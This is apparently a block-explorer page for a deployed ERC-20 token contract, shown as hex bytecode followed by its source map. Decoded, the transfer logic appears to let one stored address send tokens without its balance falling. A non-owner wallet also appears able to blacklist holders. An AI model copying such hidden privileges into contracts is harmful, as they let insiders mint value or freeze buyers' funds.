20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610ca7565b6001600160a01b0383811660008181526007602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60006001600160a01b0384166117c55760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610ca7565b6001600160a01b0383166118275760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610ca7565b602054600160a01b900460ff161561184b57611844848484611bbb565b9050610c76565b6001600160a01b0384166000908152600b602052604090205460ff1615801561188d57506001600160a01b0383166000908152600b602052604090205460ff16155b156118f557601c548211156118f55760405162461bcd60e51b815260206004820152602860248201527f5472616e7366657220616d6f756e74206578636565647320746865206d6178546044820152673c20b6b7bab73a1760c11b6064820152608401610ca7565b30600090815260066020526040902054601e54811080159081906119235750602054600160a01b900460ff16155b801561194857506001600160a01b0386166000908152600d602052604090205460ff16155b801561195d5750602054600160a81b900460ff165b1561198357602054600160b01b900460ff161561197a57601e5491505b61198382611ca1565b61198c86611ddc565b156119ce576001600160a01b0386166000908152600660205260409020546119b49085611b79565b6001600160a01b0387166000908152600660205260409020555b6001600160a01b03861660009081526008602052604081205460ff1680611a0d57506001600160a01b03861660009081526008602052604090205460ff165b611a2157611a1c878787611e04565b611a23565b845b602054909150600160b81b900460ff168015611a5857506001600160a01b03861660009081526009602052604090205460ff16155b15611a8e57601d54611a8382611195896001600160a01b031660009081526006602052604090205490565b1115611a8e57600080fd5b6001600160a01b0387166000908152600e602052604090205460ff1615611ab457600080fd5b6001600160a01b038616600090815260066020526040902054611ad790826115dc565b6001600160a01b0380881660008181526006602052604090819020939093559151908916907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90611b2b9085815260200190565b60405180910390a360019350505050610c76565b60008184841115611b635760405162461bcd60e51b8152600401610ca791906122e3565b506000611b7084866125b4565b95945050505050565b6000610c7683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611b3f565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b0386166000908152600690915291822054611c0c918490611b3f565b6001600160a01b038086166000908152600660205260408082209390935590851681522054611c3b90836115dc565b6001600160a01b0380851660008181526006602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90611c8f9086815260200190565b60405180910390a35060019392505050565b6020805460ff60a01b1916600160a01b179055601a54601554600091611cd791600291611cd19182908790611f0a565b90611f89565b90506000611ce58383611b79565b9050611cf081611fcb565b6015544790600090611d1090611d07906002611f89565b601a5490611b79565b90506000611d326002611cd184611cd160155488611f0a90919063ffffffff16565b90506000611d4f83611cd160175487611f0a90919063ffffffff16565b90506000611d6782611d618786611b79565b90611b79565b90508015611d8a57600454611d8a9061010090046001600160a01b03168261215e565b8115611da657600554611da6906001600160a01b03168361215e565b600083118015611db65750600087115b15611dc557611dc58784612194565b50506020805460ff60a01b19169055505050505050565b6000816001600160a01b0316611df3600154612269565b6001600160a01b0316141592915050565b6001600160a01b0383166000908152600d6020526040812054819060ff1615611e4857611e416064611cd160185486611f0a90919063ffffffff16565b9050611e86565b6001600160a01b0384166000908152600d602052604090205460ff1615611e8657611e836064611cd160195486611f0a90919063ffffffff16565b90505b8015611f005730600090815260066020526040902054611ea690826115dc565b30600081815260066020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90611ef79085815260200190565b60405180910390a35b611b708382611b79565b600082611f1957506000610c0c565b6000611f2583856125cb565b905082611f3285836125ea565b14610c765760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610ca7565b6000610c7683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612271565b604080516002808252606082018352600092602083019080368337019050509050308160008151811061200057612000612555565b6001600160a01b03928316602091820292909201810191909152601f54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015612059573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061207d9190612538565b8160018151811061209057612090612555565b6001600160a01b039283166020918202929092010152601f546120b6913091168461163b565b601f5460405163791ac94760e01b81526001600160a01b039091169063791ac947906120ef908590600090869030904290600401612650565b600060405180830381600087803b15801561210957600080fd5b505af115801561211d573d6000803e3d6000fd5b505050507f32cde87eb454f3a0b875ab23547023107cfad454363ec88ba5695e2c24aa52a7828260405161215292919061268c565b60405180910390a15050565b6040516001600160a01b0383169082156108fc029083906000818181858888f193505050501580156112cd573d6000803e3d6000fd5b601f546121ac9030906001600160a01b03168461163b565b601f546001600160a01b031663f305d7198230856000806121d56000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af115801561223d573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061226291906126ad565b5050505050565b600081610c0c565b600081836122925760405162461bcd60e51b8152600401610ca791906122e3565b506000611b7084866125ea565b6001600160a01b03811681146122b457600080fd5b50565b600080604083850312156122ca57600080fd5b82356122d58161229f565b946020939093013593505050565b600060208083528351808285015260005b81811015612310578581018301518582016040015282016122f4565b81811115612322576000604083870101525b50601f01601f1916929092016040019392505050565b60008060006060848603121561234d57600080fd5b83356123588161229f565b925060208401356123688161229f565b929592945050506040919091013590565b8035801515811461238957600080fd5b919050565b6000602082840312156123a057600080fd5b610c7682612379565b6000602082840312156123bb57600080fd5b8135610c768161229f565b6000602082840312156123d857600080fd5b5035919050565b6000806000606084860312156123f457600080fd5b505081359360208301359350604090920135919050565b60008060006040848603121561242057600080fd5b833567ffffffffffffffff8082111561243857600080fd5b818601915086601f83011261244c57600080fd5b81358181111561245b57600080fd5b8760208260051b850101111561247057600080fd5b6020928301955093506124869186019050612379565b90509250925092565b600080604083850312156124a257600080fd5b82356124ad8161229f565b915060208301356124bd8161229f565b809150509250929050565b600181811c908216806124dc57607f821691505b602082108114156124fd57634e487b7160e01b600052602260045260246000fd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60006020828403121561254a57600080fd5b8151610c768161229f565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b60006000198214156125955761259561256b565b5060010190565b600082198211156125af576125af61256b565b500190565b6000828210156125c6576125c661256b565b500390565b60008160001904831182151516156125e5576125e561256b565b500290565b60008261260757634e487b7160e01b600052601260045260246000fd5b500490565b600081518084526020808501945080840160005b838110156126455781516001600160a01b031687529582019590820190600101612620565b509495945050505050565b85815284602082015260a06040820152600061266f60a083018661260c565b6001600160a01b0394909416606083015250608001529392505050565b8281526040602082015260006126a5604083018461260c565b949350505050565b6000806000606084860312156126c257600080fd5b835192506020840151915060408401519050925092509256fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220c2db0f1d3a28a3d740893b82f7cec1448b571eb5f9e1609cd14a048cb36611a564736f6c634300080b0033

Deployed Bytecode Sourcemap

4274:15400:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;14008:137;;;;;;;;;;-1:-1:-1;14008:137:0;;;;;:::i;:::-;;:::i;:::-;;8291:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9584:161;;;;;;;;;;-1:-1:-1;9584:161:0;;;;;:::i;:::-;;:::i;:::-;;;1237:14:1;;1230:22;1212:41;;1200:2;1185:18;9584:161:0;1072:187:1;4618:40:0;;;;;;;;;;-1:-1:-1;4618:40:0;;;;-1:-1:-1;;;;;4618:40:0;;;;;;-1:-1:-1;;;;;1444:32:1;;;1426:51;;1414:2;1399:18;4618:40:0;1264:219:1;5999:41:0;;;;;;;;;;-1:-1:-1;5999:41:0;;;;-1:-1:-1;;;;;5999:41:0;;;8568:100;;;;;;;;;;-1:-1:-1;8648:12:0;;8568:100;;;1868:25:1;;;1856:2;1841:18;8568:100:0;1722:177:1;14363:313:0;;;;;;;;;;-1:-1:-1;14363:313:0;;;;;:::i;:::-;;:::i;11819:113::-;;;;;;;;;;-1:-1:-1;11819:113:0;;;;;:::i;:::-;;:::i;4665:81::-;;;;;;;;;;;;;;;12995:128;;;;;;;;;;;;;:::i;12541:129::-;;;;;;;;;;-1:-1:-1;12541:129:0;;;;;:::i;:::-;;:::i;8477:83::-;;;;;;;;;;-1:-1:-1;8543:9:0;;8477:83;;8543:9;;;;3317:36:1;;3305:2;3290:18;8477:83:0;3175:184:1;12408:125:0;;;;;;;;;;-1:-1:-1;12408:125:0;;;;;:::i;:::-;;:::i;8953:218::-;;;;;;;;;;-1:-1:-1;8953:218:0;;;;;:::i;:::-;;:::i;5179:38::-;;;;;;;;;;-1:-1:-1;5179:38:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;12276:124;;;;;;;;;;-1:-1:-1;12276:124:0;;;;;:::i;:::-;;:::i;5079:45::-;;;;;;;;;;-1:-1:-1;5079:45:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;4578:33;;;;;;;;;;-1:-1:-1;4578:33:0;;;;;;;-1:-1:-1;;;;;4578:33:0;;;5131:41;;;;;;;;;;-1:-1:-1;5131:41:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;6114:40;;;;;;;;;;-1:-1:-1;6114:40:0;;;;-1:-1:-1;;;6114:40:0;;;;;;5479:34;;;;;;;;;;;;;;;;13269:731;;;;;;;;;;-1:-1:-1;13269:731:0;;;;;:::i;:::-;;:::i;10324:331::-;;;;;;;;;;-1:-1:-1;10324:331:0;;;;;:::i;:::-;;:::i;5520:34::-;;;;;;;;;;;;;;;;11940:218;;;;;;;;;;-1:-1:-1;11940:218:0;;;;;:::i;:::-;;:::i;8676:118::-;;;;;;;;;;-1:-1:-1;8676:118:0;;;;;:::i;:::-;-1:-1:-1;;;;;8769:17:0;8742:7;8769:17;;;:8;:17;;;;;;;8676:118;16515:242;;;;;;;;;;-1:-1:-1;16515:242:0;;;;;:::i;:::-;;:::i;10098:218::-;;;;;;;;;;-1:-1:-1;10098:218:0;;;;;:::i;:::-;;:::i;5804:56::-;;;;;;;;;;;;;;;;5868:54;;;;;;;;;;;;;;;;5643:37;;;;;;;;;;;;;;;;5353:36;;;;;;;;;;;;;;;;5024:48;;;;;;;;;;-1:-1:-1;5024:48:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;2981:79;;;;;;;;;;-1:-1:-1;3019:7:0;3046:6;-1:-1:-1;;;;;3046:6:0;2981:79;;10663:338;;;;;;;;;;-1:-1:-1;10663:338:0;;;;;:::i;:::-;;:::i;8382:87::-;;;;;;;;;;;;;:::i;9456:120::-;;;;;;;;;;-1:-1:-1;9545:23:0;;9456:120;;5687:44;;;;;;;;;;;;;;;;9179:269;;;;;;;;;;-1:-1:-1;9179:269:0;;;;;:::i;:::-;;:::i;12858:125::-;;;;;;;;;;-1:-1:-1;12858:125:0;;;;;:::i;:::-;;:::i;5561:30::-;;;;;;;;;;;;;;;;14188:167;;;;;;;;;;-1:-1:-1;14188:167:0;;;;;:::i;:::-;;:::i;11453:358::-;;;;;;;;;;-1:-1:-1;11453:358:0;;;;;:::i;:::-;;:::i;5310:30::-;;;;;;;;;;;;;;;;12678:172;;;;;;;;;;-1:-1:-1;12678:172:0;;;;;:::i;:::-;;:::i;5268:35::-;;;;;;;;;;;;;;;;6047:26;;;;;;;;;;-1:-1:-1;6047:26:0;;;;-1:-1:-1;;;;;6047:26:0;;;5396:36;;;;;;;;;;;;;;;;4930:52;;;;;;;;;;-1:-1:-1;4930:52:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;5439:31;;;;;;;;;;;;;;;;6161:45;;;;;;;;;;-1:-1:-1;6161:45:0;;;;-1:-1:-1;;;6161:45:0;;;;;;5226:35;;;;;;;;;;;;;;;;8802:143;;;;;;;;;;-1:-1:-1;8802:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;8910:18:0;;;8883:7;8910:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;8802:143;5600:36;;;;;;;;;;;;;;;;12166:102;;;;;;;;;;-1:-1:-1;12166:102:0;;;;;:::i;:::-;;:::i;4873:50::-;;;;;;;;;;-1:-1:-1;4873:50:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;3195:157;;;;;;;;;;-1:-1:-1;3195:157:0;;;;;:::i;:::-;;:::i;6213:35::-;;;;;;;;;;-1:-1:-1;6213:35:0;;;;-1:-1:-1;;;6213:35:0;;;;;;4335:79;;;;;;;;;;;;;;;;14008:137;14105:10;14083:33;;;;:8;:33;;;;;;;;14077:66;;;-1:-1:-1;;;;;14117:15:0;;;;;;:8;:15;;;;;:26;;;14077:66;14008:137;;:::o;8291:83::-;8328:13;8361:5;8354:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8291:83;:::o;9584:161::-;9659:4;9676:39;234:10;9699:7;9708:6;9676:8;:39::i;:::-;-1:-1:-1;9733:4:0;9584:161;;;;;:::o;14363:313::-;14461:4;14478:36;14488:6;14496:9;14507:6;14478:9;:36::i;:::-;-1:-1:-1;14525:121:0;14534:6;234:10;14556:89;14594:6;14556:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;14556:19:0;;;;;;:11;:19;;;;;;;;234:10;14556:33;;;;;;;;;;:37;:89::i;:::-;14525:8;:121::i;:::-;-1:-1:-1;14664:4:0;14363:313;;;;;;:::o;11819:113::-;3108:6;;-1:-1:-1;;;;;3108:6:0;234:10;3108:22;3100:67;;;;-1:-1:-1;;;3100:67:0;;;;;;;:::i;:::-;;;;;;;;;11897:16:::1;:27:::0;;;::::1;;-1:-1:-1::0;;;11897:27:0::1;-1:-1:-1::0;;;;11897:27:0;;::::1;::::0;;;::::1;::::0;;11819:113::o;12995:128::-;13102:11;-1:-1:-1;;;;;8769:17:0;13048:7;8769:17;;;:8;:17;;;;;;13075:12;;:40;;:16;:40::i;:::-;13068:47;;12995:128;:::o;12541:129::-;3108:6;;-1:-1:-1;;;;;3108:6:0;234:10;3108:22;3100:67;;;;-1:-1:-1;;;3100:67:0;;;;;;;:::i;:::-;12623:17:::1;:39:::0;;-1:-1:-1;;;;;;12623:39:0::1;-1:-1:-1::0;;;;;12623:39:0;;;::::1;::::0;;;::::1;::::0;;12541:129::o;12408:125::-;3108:6;;-1:-1:-1;;;;;3108:6:0;234:10;3108:22;3100:67;;;;-1:-1:-1;;;3100:67:0;;;;;;;:::i;:::-;12493:10:::1;:32:::0;;-1:-1:-1;;;;;12493:32:0;;::::1;;;-1:-1:-1::0;;;;;;12493:32:0;;::::1;::::0;;;::::1;::::0;;12408:125::o;8953:218::-;234:10;9041:4;9090:25;;;:11;:25;;;;;;;;-1:-1:-1;;;;;9090:34:0;;;;;;;;;;9041:4;;9058:83;;9081:7;;9090:50;;9129:10;9090:38;:50::i;12276:124::-;3108:6;;-1:-1:-1;;;;;3108:6:0;234:10;3108:22;3100:67;;;;-1:-1:-1;;;3100:67:0;;;;;;;:::i;:::-;12358:23:::1;:34:::0;12276:124::o;13269:731::-;13349:22;3108:6;;-1:-1:-1;;;;;3108:6:0;234:10;3108:22;3100:67;;;;-1:-1:-1;;;3100:67:0;;;;;;;:::i;:::-;13386:35:::1;13443:16;13386:74;;13509:16;-1:-1:-1::0;;;;;13509:24:0::1;;:26;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;13491:53:0::1;;13553:4;13560:16;-1:-1:-1::0;;;;;13560:21:0::1;;:23;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;13491:93;::::0;-1:-1:-1;;;;;;13491:93:0::1;::::0;;;;;;-1:-1:-1;;;;;6189:15:1;;;13491:93:0::1;::::0;::::1;6171:34:1::0;6241:15;;6221:18;;;6214:43;6106:18;;13491:93:0::1;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;13474:110:::0;-1:-1:-1;;;;;;13600:28:0;::::1;13597:200;;13689:16;-1:-1:-1::0;;;;;13689:24:0::1;;:26;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;13671:74:0::1;;13754:4;13761:16;-1:-1:-1::0;;;;;13761:21:0::1;;:23;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;13671:114;::::0;-1:-1:-1;;;;;;13671:114:0::1;::::0;;;;;;-1:-1:-1;;;;;6189:15:1;;;13671:114:0::1;::::0;::::1;6171:34:1::0;6241:15;;6221:18;;;6214:43;6106:18;;13671:114:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;13654:131;;13597:200;13809:11;:28:::0;;-1:-1:-1;;;;;;13809:28:0;;::::1;-1:-1:-1::0;;;;;13809:28:0;;::::1;::::0;;::::1;::::0;;13848:15:::1;:34:::0;;;;::::1;::::0;;::::1;::::0;;;::::1;::::0;;;-1:-1:-1;13896:41:0;;;:19:::1;:41:::0;;;;;;:48;;-1:-1:-1;;13896:48:0;;::::1;-1:-1:-1::0;13896:48:0;;::::1;::::0;;;13972:11;;;;::::1;13955:30:::0;;:8:::1;:30:::0;;;;;:37;;;;::::1;;::::0;;13809:28;13823:14;-1:-1:-1;13269:731:0:o;10324:331::-;3108:6;;-1:-1:-1;;;;;3108:6:0;234:10;3108:22;3100:67;;;;-1:-1:-1;;;3100:67:0;;;;;;;:::i;:::-;10445:16:::1;:34:::0;;;10490:16:::1;:34:::0;;;10535:11:::1;:24:::0;;;10592:55:::1;10549:10:::0;10592:38:::1;10464:15:::0;10509;10592:20:::1;:38::i;:::-;:42:::0;::::1;:55::i;:::-;10572:17;:75:::0;-1:-1:-1;;;10324:331:0:o;11940:218::-;3108:6;;-1:-1:-1;;;;;3108:6:0;234:10;3108:22;3100:67;;;;-1:-1:-1;;;3100:67:0;;;;;;;:::i;:::-;12046:9:::1;12042:109;12061:17:::0;;::::1;12042:109;;;12133:6;12100:19;:30;12120:6;;12127:1;12120:9;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;12100:30:0::1;::::0;;::::1;::::0;::::1;::::0;;;;;;-1:-1:-1;12100:30:0;:39;;-1:-1:-1;;12100:39:0::1;::::0;::::1;;::::0;;;::::1;::::0;;12080:3;::::1;::::0;::::1;:::i;:::-;;;;12042:109;;;;11940:218:::0;;;:::o;16515:242::-;16586:10;;;;;-1:-1:-1;;;;;16586:10:0;16638;16586:62;16582:168;;;16666:9;16662:77;16681:13;;;16662:77;;;16731:6;16716:5;:12;16722:2;;16725:1;16722:5;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1;;;;;16716:12:0;;;;;;;;;;;;-1:-1:-1;16716:12:0;:21;;-1:-1:-1;;16716:21:0;;;;;;;;;;16696:3;;;;:::i;:::-;;;;16662:77;;16582:168;16515:242;;;:::o;10098:218::-;3108:6;;-1:-1:-1;;;;;3108:6:0;234:10;3108:22;3100:67;;;;-1:-1:-1;;;3100:67:0;;;;;;;:::i;:::-;10202:9:::1;10198:111;10217:18:::0;;::::1;10198:111;;;10289:8;10257:17;:29;10275:7;;10283:1;10275:10;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10257:29:0::1;::::0;;::::1;::::0;::::1;::::0;;;;;;-1:-1:-1;10257:29:0;:40;;-1:-1:-1;;10257:40:0::1;::::0;::::1;;::::0;;;::::1;::::0;;10237:3;::::1;::::0;::::1;:::i;:::-;;;;10198:111;;10663:338:::0;3108:6;;-1:-1:-1;;;;;3108:6:0;234:10;3108:22;3100:67;;;;-1:-1:-1;;;3100:67:0;;;;;;;:::i;:::-;10784:17:::1;:35:::0;;;10830:17:::1;:35:::0;;;10876:12:::1;:25:::0;;;10935:58:::1;10891:10:::0;10935:40:::1;10804:15:::0;10850;10935:21:::1;:40::i;:58::-;10914:18;:79:::0;-1:-1:-1;;;10663:338:0:o;8382:87::-;8421:13;8454:7;8447:14;;;;;:::i;9179:269::-;9272:4;9289:129;234:10;9312:7;9321:96;9360:15;9321:96;;;;;;;;;;;;;;;;;234:10;9321:25;;;;:11;:25;;;;;;;;-1:-1:-1;;;;;9321:34:0;;;;;;;;;;;;:38;:96::i;12858:125::-;3108:6;;-1:-1:-1;;;;;3108:6:0;234:10;3108:22;3100:67;;;;-1:-1:-1;;;3100:67:0;;;;;;;:::i;:::-;12939:25:::1;:36:::0;;;::::1;;-1:-1:-1::0;;;12939:36:0::1;-1:-1:-1::0;;;;12939:36:0;;::::1;::::0;;;::::1;::::0;;12858:125::o;14188:167::-;14266:4;14283:42;234:10;14307:9;14318:6;14283:9;:42::i;11453:358::-;3108:6;;-1:-1:-1;;;;;3108:6:0;234:10;3108:22;3100:67;;;;-1:-1:-1;;;3100:67:0;;;;;;;:::i;:::-;11594:15:::1;:35:::0;;;11640:15:::1;:35:::0;;;11686:10:::1;:25:::0;;;11751:52:::1;11699:12:::0;11751:36:::1;11612:17:::0;11658;11751:19:::1;:36::i;:52::-;11724:24;:79:::0;-1:-1:-1;;;11453:358:0:o;12678:172::-;3108:6;;-1:-1:-1;;;;;3108:6:0;234:10;3108:22;3100:67;;;;-1:-1:-1;;;3100:67:0;;;;;;;:::i;:::-;12756:21:::1;:32:::0;;-1:-1:-1;;;;12756:32:0::1;-1:-1:-1::0;;;12756:32:0;::::1;;::::0;;::::1;::::0;;;::::1;::::0;;12804:38:::1;::::0;1212:41:1;;;12804:38:0::1;::::0;1185:18:1;12804:38:0::1;;;;;;;12678:172:::0;:::o;12166:102::-;3108:6;;-1:-1:-1;;;;;3108:6:0;234:10;3108:22;3100:67;;;;-1:-1:-1;;;3100:67:0;;;;;;;:::i;:::-;12238:10:::1;:22:::0;12166:102::o;3195:157::-;3108:6;;-1:-1:-1;;;;;3108:6:0;234:10;3108:22;3100:67;;;;-1:-1:-1;;;3100:67:0;;;;;;;:::i;:::-;3269:6:::1;:19:::0;;-1:-1:-1;;;;;;3269:19:0::1;-1:-1:-1::0;;;;;3269:19:0;::::1;::::0;;::::1;::::0;;3304:40:::1;::::0;3269:19;;;;3304:40:::1;::::0;3269:6;3304:40:::1;3195:157:::0;:::o;1085:181::-;1143:7;;1175:5;1179:1;1175;:5;:::i;:::-;1163:17;;1204:1;1199;:6;;1191:46;;;;-1:-1:-1;;;1191:46:0;;7007:2:1;1191:46:0;;;6989:21:1;7046:2;7026:18;;;7019:30;7085:29;7065:18;;;7058:57;7132:18;;1191:46:0;6805:351:1;9753:337:0;-1:-1:-1;;;;;9846:19:0;;9838:68;;;;-1:-1:-1;;;9838:68:0;;7363:2:1;9838:68:0;;;7345:21:1;7402:2;7382:18;;;7375:30;7441:34;7421:18;;;7414:62;-1:-1:-1;;;7492:18:1;;;7485:34;7536:19;;9838:68:0;7161:400:1;9838:68:0;-1:-1:-1;;;;;9925:21:0;;9917:68;;;;-1:-1:-1;;;9917:68:0;;7768:2:1;9917:68:0;;;7750:21:1;7807:2;7787:18;;;7780:30;7846:34;7826:18;;;7819:62;-1:-1:-1;;;7897:18:1;;;7890:32;7939:19;;9917:68:0;7566:398:1;9917:68:0;-1:-1:-1;;;;;9998:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;10050:32;;1868:25:1;;;10050:32:0;;1841:18:1;10050:32:0;;;;;;;9753:337;;;:::o;14684:1823::-;14771:4;-1:-1:-1;;;;;14798:20:0;;14790:70;;;;-1:-1:-1;;;14790:70:0;;8171:2:1;14790:70:0;;;8153:21:1;8210:2;8190:18;;;8183:30;8249:34;8229:18;;;8222:62;-1:-1:-1;;;8300:18:1;;;8293:35;8345:19;;14790:70:0;7969:401:1;14790:70:0;-1:-1:-1;;;;;14879:23:0;;14871:71;;;;-1:-1:-1;;;14871:71:0;;8577:2:1;14871:71:0;;;8559:21:1;8616:2;8596:18;;;8589:30;8655:34;8635:18;;;8628:62;-1:-1:-1;;;8706:18:1;;;8699:33;8749:19;;14871:71:0;8375:399:1;14871:71:0;14966:16;;-1:-1:-1;;;14966:16:0;;;;14963:1537;;;15016:41;15031:6;15039:9;15050:6;15016:14;:41::i;:::-;15009:48;;;;14963:1537;-1:-1:-1;;;;;15113:23:0;;;;;;:15;:23;;;;;;;;15112:24;:55;;;;-1:-1:-1;;;;;;15141:26:0;;;;;;:15;:26;;;;;;;;15140:27;15112:55;15109:170;;;15206:12;;15196:6;:22;;15188:75;;;;-1:-1:-1;;;15188:75:0;;8981:2:1;15188:75:0;;;8963:21:1;9020:2;9000:18;;;8993:30;9059:34;9039:18;;;9032:62;-1:-1:-1;;;9110:18:1;;;9103:38;9158:19;;15188:75:0;8779:404:1;15188:75:0;15342:4;15293:28;8769:17;;;:8;:17;;;;;;15418:23;;15394:47;;;;;;;15460:44;;-1:-1:-1;15488:16:0;;-1:-1:-1;;;15488:16:0;;;;15487:17;15460:44;:65;;;;-1:-1:-1;;;;;;15509:16:0;;;;;;:8;:16;;;;;;;;15508:17;15460:65;:90;;;;-1:-1:-1;15529:21:0;;-1:-1:-1;;;15529:21:0;;;;15460:90;15456:297;;;15588:25;;-1:-1:-1;;;15588:25:0;;;;15585:97;;;15659:23;;15636:46;;15585:97;15701:36;15716:20;15701:14;:36::i;:::-;15756:10;15759:6;15756:2;:10::i;:::-;15753:96;;;-1:-1:-1;;;;;15805:16:0;;;;;;:8;:16;;;;;;:28;;15826:6;15805:20;:28::i;:::-;-1:-1:-1;;;;;15786:16:0;;;;;;:8;:16;;;;;:47;15753:96;-1:-1:-1;;;;;15872:25:0;;15849:19;15872:25;;;:17;:25;;;;;;;;;:57;;-1:-1:-1;;;;;;15901:28:0;;;;;;:17;:28;;;;;;;;15872:57;15871:148;;15985:34;15993:6;16001:9;16012:6;15985:7;:34::i;:::-;15871:148;;;15976:6;15871:148;16051:16;;15849:170;;-1:-1:-1;;;;16051:16:0;;;;:51;;;;-1:-1:-1;;;;;;16072:30:0;;;;;;:19;:30;;;;;;;;16071:31;16051:51;16048:133;;;16170:10;;16129:37;16154:11;16129:20;16139:9;-1:-1:-1;;;;;8769:17:0;8742:7;8769:17;;;:8;:17;;;;;;;8676:118;16129:37;:51;;16121:60;;;;;;-1:-1:-1;;;;;16245:15:0;;;;;;:5;:15;;;;;;;;16242:85;;;16301:22;;;;-1:-1:-1;;;;;16364:19:0;;;;;;:8;:19;;;;;;:36;;16388:11;16364:23;:36::i;:::-;-1:-1:-1;;;;;16342:19:0;;;;;;;:8;:19;;;;;;;:58;;;;16422:40;;;;;;;;;;16450:11;1868:25:1;;1856:2;1841:18;;1722:177;16422:40:0;;;;;;;;16484:4;16477:11;;;;;;;1420:192;1506:7;1542:12;1534:6;;;;1526:29;;;;-1:-1:-1;;;1526:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1566:9:0;1578:5;1582:1;1578;:5;:::i;:::-;1566:17;1420:192;-1:-1:-1;;;;;1420:192:0:o;1276:136::-;1334:7;1361:43;1365:1;1368;1361:43;;;;;;;;;;;;;;;;;:3;:43::i;16765:326::-;16894:52;;;;;;;;;;;-1:-1:-1;;;16894:52:0;;;;;;;;-1:-1:-1;;;;;16894:16:0;;16858:4;16894:16;;;:8;:16;;;;;;;:52;;16915:6;;16894:20;:52::i;:::-;-1:-1:-1;;;;;16875:16:0;;;;;;;:8;:16;;;;;;:71;;;;16979:19;;;;;;;:31;;17003:6;16979:23;:31::i;:::-;-1:-1:-1;;;;;16957:19:0;;;;;;;:8;:19;;;;;;;:53;;;;17026:35;;;;;;;;;;17054:6;1868:25:1;;1856:2;1841:18;;1722:177;17026:35:0;;;;;;;;-1:-1:-1;17079:4:0;16765:326;;;;;:::o;17099:1036::-;6671:16;:23;;-1:-1:-1;;;;6671:23:0;-1:-1:-1;;;6671:23:0;;;17236:24:::1;::::0;17215:15:::1;::::0;6671:23;;17203:65:::1;::::0;17266:1:::1;::::0;17203:58:::1;::::0;;;:7;;:11:::1;:28::i;:::-